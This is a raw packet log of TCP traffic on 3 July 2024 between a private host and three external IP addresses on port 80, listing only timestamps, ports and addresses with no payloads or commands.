Jul 3, 2024 18:03:44.708862066 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.709005117 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.709013939 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.709024906 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.709050894 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.709146023 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.709156990 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.709166050 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.709192991 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.709691048 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.709734917 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.787997007 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.788016081 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.788033962 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.788063049 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.788429976 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.788474083 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.841233015 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.841305017 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.841583014 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.866620064 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.866657019 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.866668940 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.866709948 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.866792917 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.866846085 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.866851091 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.866894960 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.866935968 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.921153069 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.921178102 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.921304941 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.946607113 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.946625948 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.946644068 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.946656942 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.946666002 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.946676970 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.946701050 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.946748018 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.035732985 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.035784006 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.035794973 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.035867929 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.035882950 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.035967112 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.035979033 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.036015034 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.036089897 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.036101103 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.036138058 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.106594086 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.106615067 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.106626987 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.106687069 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.106771946 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.106786013 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.106823921 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.106823921 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.106841087 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.106854916 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.106897116 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.107002974 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.185874939 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.185902119 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.185913086 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.185957909 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.185955048 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.185971022 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.186007977 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.186136007 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.186147928 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.186157942 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.186178923 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.186364889 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.186407089 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.265436888 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.265485048 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.265497923 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.265568018 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.265608072 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.265621901 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.265649080 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.265697956 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.265736103 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.265743971 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.265755892 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.265790939 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.265897989 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.265909910 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.265942097 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.268641949 CEST	80	49170	94.156.65.247	192.168.2.22
Jul 3, 2024 18:03:45.268712997 CEST	49170	80	192.168.2.22	94.156.65.247
Jul 3, 2024 18:03:45.268862963 CEST	49170	80	192.168.2.22	94.156.65.247
Jul 3, 2024 18:03:45.273799896 CEST	80	49170	94.156.65.247	192.168.2.22
Jul 3, 2024 18:03:45.346167088 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.346203089 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.346214056 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.346239090 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.346260071 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.346288919 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.346302986 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.346323013 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.346435070 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.346477985 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.346760988 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.346829891 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.346839905 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.346862078 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.346956015 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.346998930 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.425913095 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.425951958 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.425957918 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.426081896 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.426093102 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.426099062 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.426105022 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.426117897 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.426157951 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.426157951 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.426373959 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.426470041 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.426481962 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.426512003 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.426569939 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.506077051 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.506107092 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.506119013 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.506203890 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.506222963 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.506236076 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.506247997 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.506261110 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.506261110 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.506303072 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.506496906 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.506544113 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.506572962 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.506584883 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.506622076 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.506747007 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.506758928 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.506789923 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.585186958 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.585251093 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.585263014 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.585306883 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.585350990 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.585362911 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.585372925 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.585383892 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.585397959 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.585422039 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.585607052 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.585736036 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.585747957 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.585757971 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.585769892 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.585783958 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.585810900 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.664891005 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.664932966 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.664946079 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.665036917 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.665035963 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.665050030 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.665061951 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.665076017 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.665091038 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.665115118 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.665309906 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.665410995 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.665422916 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.665456057 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.665556908 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.665570021 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.665602922 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.747474909 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.747618914 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.747689962 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.747694016 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.747766018 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.747778893 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.747790098 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.747808933 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.747829914 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.748625040 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.748658895 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.748672009 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:45.748692036 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.945509911 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:45.953583956 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:45.958858967 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:45.958930016 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:45.959034920 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:45.965528965 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.436088085 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.436116934 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.436130047 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.436173916 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.436187029 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.436199903 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.436213017 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.436230898 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.436244011 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.436460018 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.436471939 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.436490059 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.436505079 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.436510086 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.436548948 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.441257000 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.441274881 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.441287994 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.441327095 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.523977041 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.524033070 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.524041891 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.524054050 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.524081945 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.524202108 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.524234056 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.524264097 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.524432898 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.524451017 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.524468899 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.524487019 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.524496078 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.524543047 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.524903059 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.524920940 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.524938107 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.524955034 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.525298119 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.525321960 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.525332928 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.525341988 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.525360107 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.525372982 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.525446892 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.525487900 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.528891087 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.528912067 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.528922081 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.528951883 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.529145002 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.529156923 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.529177904 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.529412031 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.529422998 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.529433966 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.529444933 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.529470921 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.530149937 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.530195951 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.530235052 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.610950947 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.611027956 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.611063957 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.611088991 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.611098051 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.611133099 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.611151934 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.611186028 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.611222029 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.611222982 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.611361980 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.611394882 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.611401081 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.611444950 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.611486912 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.611567020 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.611599922 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.611632109 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.611632109 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.611735106 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.611773014 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.611787081 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.611819983 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.611854076 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.611867905 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.611886978 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.611924887 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.612099886 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.612132072 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.612163067 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.612168074 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.612195969 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.612230062 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.612232924 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.612458944 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.612500906 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.612519026 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.612551928 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.612586021 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.612586975 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.612716913 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.612749100 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.612754107 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.612781048 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.612813950 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.612817049 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.613097906 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.613131046 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.613137007 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.613162994 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.613194942 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.613199949 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.613228083 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.613260984 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.613264084 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.613295078 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.613327980 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.613584042 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.613615990 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.613648891 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.613652945 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.613682032 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.613713980 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.613714933 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.613745928 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.613780022 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.613784075 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.613811970 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.613843918 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.613847017 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.614177942 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.614214897 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.615005016 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.619209051 CEST	49172	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:46.656608105 CEST	80	49172	198.46.178.144	192.168.2.22
Jul 3, 2024 18:03:46.656630039 CEST	80	49172	198.46.178.144	192.168.2.22
